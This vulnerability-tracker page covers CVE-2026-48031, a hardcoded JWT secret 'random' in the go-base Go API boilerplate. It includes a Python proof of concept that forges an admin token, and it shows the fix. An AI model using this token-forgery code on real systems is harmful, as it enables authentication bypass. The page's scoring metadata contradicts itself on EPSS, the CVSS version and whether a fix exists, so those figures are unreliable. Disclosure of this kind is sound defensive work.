CVE-2026-48031

CRITICALPre-NVD 9.19.1
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 82% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
9.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 9.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation

Affected Component

  • github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
  • 1,685 stars on GitHub

Vulnerability Locations

| File | Line | Role | |------|------|------| | dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users | | cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback | | auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key | | auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key | | pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |

Data Flow

dev.env AUTH_JWT_SECRET=random
  OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
    │
    ▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
    │
    ▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
    │
    ▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
    │
    ▼
jwt/authenticator.go: Every authenticated request trusts the forged token

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

  • dev.env:10 — The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.
  • cmd/serve.go:35viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

  • (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
  • (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

import jwt
import requests

The hardcoded secret from dev.env / serve.go (public repository)

SECRET = "random" BASE_URL = "http://target:3000"

Step 1: Forge an admin JWT token

payload = { "sub": "[email protected]", "roles": ["admin"], "iat": 9999999000, "exp": 9999999999 } forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

Step 2: Access any protected endpoint with the forged token

headers = {"Authorization": f"Bearer {forged_token}"}

List all users (requires admin)

r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers) print(f"Status: {r.status_code}") # 200 OK

Access own profile with forged identity

r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers) print(f"Profile: {r.json()}") # Returns [email protected] profile

The forged token is also accepted by refresh endpoints

r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)

Returns a new valid token signed with the same "random" secret

Impact

  • Authentication Bypass: Forge tokens for any user, including admin roles
  • Confidentiality: Access all user data, profiles, and protected resources
  • Integrity: Modify any data accessible via the API
  • Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR #31)

The fix replaced the single-value check with a comprehensive approach:

// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
    secret = randStringBytes(32) // non-persistent, breaks on restart
}

// AFTER — comprehensive known-weak-secrets map var knownWeakSecrets = map[string]bool{ "random": true, "secret": true, "changeme": true, "change-me": true, "default": true, "": true, }

if knownWeakSecrets[secret] { log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.") }

Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.

Patched Versions

  • All versions after commit range including PR#31 (merged May 17, 2026).
  • Users should update to the latest master, regenerate their JWT secret, and restart.

Resources

  • Fix PR: https://github.com/dhax/go-base/pull/31
  • Commit history: https://github.com/dhax/go-base/commits/master

Credit

Reported by @saaa99999999 via manual security audit.

CVSS v3
9.1
EG Score
9.1(low)
EPSS
17.8%
KEV
Not listed

Published

June 10, 2026

Last Modified

June 10, 2026

Vendor Advisories for CVE-2026-48031(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
github.com/dhax/go-base0.0.0-20260517152733-cc82b9740fa6

Data Freshness Timeline

(refreshed 30× in last 7d / 150× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 150 total refreshes for this CVE.

  1. 2026-07-06 02:41 UTCEG score recompute
  2. 2026-07-05 22:52 UTCEG score recompute
  3. 2026-07-05 18:56 UTCEG score recompute
  4. 2026-07-05 15:09 UTCEG score recompute
  5. 2026-07-05 11:20 UTCEG score recompute
  6. 2026-07-04 23:56 UTCEG score recompute
  7. 2026-07-04 19:39 UTCEG score recompute
  8. 2026-07-04 15:51 UTCEG score recompute
  9. 2026-07-04 11:55 UTCEG score recompute
  10. 2026-07-03 23:21 UTCEG score recompute
  11. 2026-07-03 19:11 UTCEG score recompute
  12. 2026-07-03 15:23 UTCEG score recompute
  13. 2026-07-03 08:14 UTCEG score recompute
  14. 2026-07-03 03:17 UTCEG score recompute
  15. 2026-07-02 23:21 UTCEG score recompute
  16. 2026-07-02 19:33 UTCEG score recompute
  17. 2026-07-02 15:46 UTCEG score recompute
  18. 2026-07-02 11:56 UTCEG score recompute
  19. 2026-07-02 07:58 UTCEG score recompute
  20. 2026-07-02 04:10 UTCEG score recompute
  21. 2026-07-02 00:21 UTCEG score recompute
  22. 2026-07-01 20:28 UTCEG score recompute
  23. 2026-07-01 16:41 UTCEG score recompute
  24. 2026-07-01 12:53 UTCEG score recompute
  25. 2026-07-01 09:03 UTCEG score recompute
Show 75 more
  1. 2026-07-01 05:12 UTCEG score recompute
  2. 2026-07-01 01:18 UTCEG score recompute
  3. 2026-06-30 21:30 UTCEG score recompute
  4. 2026-06-30 17:40 UTCEG score recompute
  5. 2026-06-30 13:43 UTCEG score recompute
  6. 2026-06-30 06:23 UTCEG score recompute
  7. 2026-06-30 02:34 UTCEG score recompute
  8. 2026-06-29 22:46 UTCEG score recompute
  9. 2026-06-29 18:59 UTCEG score recompute
  10. 2026-06-29 14:28 UTCEG score recompute
  11. 2026-06-29 10:41 UTCEG score recompute
  12. 2026-06-29 06:50 UTCEG score recompute
  13. 2026-06-29 01:49 UTCEG score recompute
  14. 2026-06-28 22:02 UTCEG score recompute
  15. 2026-06-28 18:15 UTCEG score recompute
  16. 2026-06-28 14:15 UTCEG score recompute
  17. 2026-06-28 10:28 UTCEG score recompute
  18. 2026-06-28 06:26 UTCEG score recompute
  19. 2026-06-28 02:27 UTCEG score recompute
  20. 2026-06-27 22:40 UTCEG score recompute
  21. 2026-06-27 18:53 UTCEG score recompute
  22. 2026-06-27 15:05 UTCEG score recompute
  23. 2026-06-27 11:15 UTCEG score recompute
  24. 2026-06-27 07:28 UTCEG score recompute
  25. 2026-06-27 03:40 UTCEG score recompute
  26. 2026-06-26 23:44 UTCEG score recompute
  27. 2026-06-26 19:56 UTCEG score recompute
  28. 2026-06-26 16:09 UTCEG score recompute
  29. 2026-06-26 12:21 UTCEG score recompute
  30. 2026-06-26 03:54 UTCEG score recompute
  31. 2026-06-26 00:06 UTCEG score recompute
  32. 2026-06-25 20:16 UTCEG score recompute
  33. 2026-06-25 16:27 UTCEG score recompute
  34. 2026-06-25 12:40 UTCEG score recompute
  35. 2026-06-25 08:53 UTCEG score recompute
  36. 2026-06-25 05:04 UTCEG score recompute
  37. 2026-06-25 00:45 UTCEG score recompute
  38. 2026-06-24 20:54 UTCEG score recompute
  39. 2026-06-24 13:34 UTCEG score recompute
  40. 2026-06-24 08:42 UTCEG score recompute
  41. 2026-06-24 04:55 UTCEG score recompute
  42. 2026-06-24 01:06 UTCEG score recompute
  43. 2026-06-23 21:17 UTCEG score recompute
  44. 2026-06-23 17:12 UTCEG score recompute
  45. 2026-06-23 13:09 UTCEG score recompute
  46. 2026-06-23 08:32 UTCEG score recompute
  47. 2026-06-23 02:10 UTCEG score recompute
  48. 2026-06-22 22:14 UTCEG score recompute
  49. 2026-06-22 18:26 UTCEG score recompute
  50. 2026-06-22 13:16 UTCEG score recompute
  51. 2026-06-22 08:46 UTCEG score recompute
  52. 2026-06-22 04:12 UTCEG score recompute
  53. 2026-06-21 19:14 UTCEG score recompute
  54. 2026-06-21 14:17 UTCEG score recompute
  55. 2026-06-21 10:07 UTCEG score recompute
  56. 2026-06-21 05:21 UTCEG score recompute
  57. 2026-06-21 01:33 UTCEG score recompute
  58. 2026-06-20 21:14 UTCEG score recompute
  59. 2026-06-20 16:06 UTCEG score recompute
  60. 2026-06-20 12:17 UTCEG score recompute
  61. 2026-06-20 08:27 UTCEG score recompute
  62. 2026-06-20 04:36 UTCEG score recompute
  63. 2026-06-20 00:36 UTCEG score recompute
  64. 2026-06-19 20:25 UTCEG score recompute
  65. 2026-06-19 16:37 UTCEG score recompute
  66. 2026-06-19 12:09 UTCEG score recompute
  67. 2026-06-19 08:19 UTCEG score recompute
  68. 2026-06-19 04:21 UTCEG score recompute
  69. 2026-06-19 00:17 UTCEG score recompute
  70. 2026-06-18 20:26 UTCEG score recompute
  71. 2026-06-18 16:14 UTCEG score recompute
  72. 2026-06-18 12:27 UTCEG score recompute
  73. 2026-06-18 08:37 UTCEG score recompute
  74. 2026-06-18 04:46 UTCEG score recompute
  75. 2026-06-18 00:55 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-48031?
CVE-2026-48031 is a critical vulnerability published on June 10, 2026. Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation Affected Component github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun) 1,685 stars on GitHub Vulnerability…
When was CVE-2026-48031 disclosed?
CVE-2026-48031 was first published in the National Vulnerability Database on June 10, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-48031 actively exploited?
CVE-2026-48031 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 17.8% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-48031?
CVE-2026-48031 has a CVSS v4.0 base score of 9.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48031?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48031, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-48031

Explore →

Is Your Infrastructure Affected by CVE-2026-48031?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.